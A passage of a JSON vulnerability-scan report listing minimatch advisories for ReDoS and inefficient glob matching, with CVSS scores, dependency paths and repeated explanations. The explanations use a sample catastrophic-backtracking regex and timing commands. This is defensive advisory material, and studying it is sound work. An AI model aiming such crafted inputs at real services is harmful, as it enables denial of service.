only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": 